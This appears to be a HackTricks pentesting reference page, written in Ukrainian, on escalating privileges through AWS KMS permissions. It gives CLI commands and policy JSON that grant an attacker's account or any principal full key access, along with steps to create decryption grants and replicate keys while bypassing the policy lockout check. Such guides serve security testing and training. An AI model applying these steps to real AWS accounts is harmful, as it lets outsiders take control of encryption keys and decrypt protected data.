AWS - KMS Privesc

Support HackTricks

KMS

Для отримання додаткової інформації про KMS перегляньте:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

З цими дозволами можливо змінити дозволи доступу до ключа, щоб його могли використовувати інші облікові записи або навіть будь-хто:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Це дозволяє суб'єкту використовувати ключ KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Грант може дозволяти лише певні типи операцій: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Зверніть увагу, що може знадобитися кілька хвилин, щоб KMS дозволив користувачу використовувати ключ після створення гранту. Як тільки цей час мине, принципал може використовувати ключ KMS без необхідності вказувати щось. Однак, якщо потрібно використовувати грант негайно, використовуйте токен гранту (перевірте наступний код). Для додаткової інформації прочитайте це.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Зверніть увагу, що можна перерахувати надання ключів за допомогою:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою.

Отже, зловмисник може зловживати цим, щоб отримати підвищення своїх прав доступу до ключа і використовувати його.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Цей дозвіл дозволяє використовувати ключ для розшифровки деякої інформації. Для отримання додаткової інформації перегляньте:

AWS - KMS Post Exploitation
Підтримайте HackTricks

Last updated